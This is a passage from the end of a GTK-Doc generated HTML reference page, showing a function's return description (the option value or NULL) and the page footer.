<td><p><span class="term"><span class="emphasis"><em>Returns</em></span> :</span></p></td> <td>the option value or <a href="http://library.gnome.org/devel/glib/unstable/glib-Standard-Macros.html#NULL:CAPS"><code class="literal">NULL</code></a> </td> </tr> </tbody> </table></div> </div> </div> </div> <div class="footer"> <hr> Generated by GTK-Doc V1.19</div> </body> </html>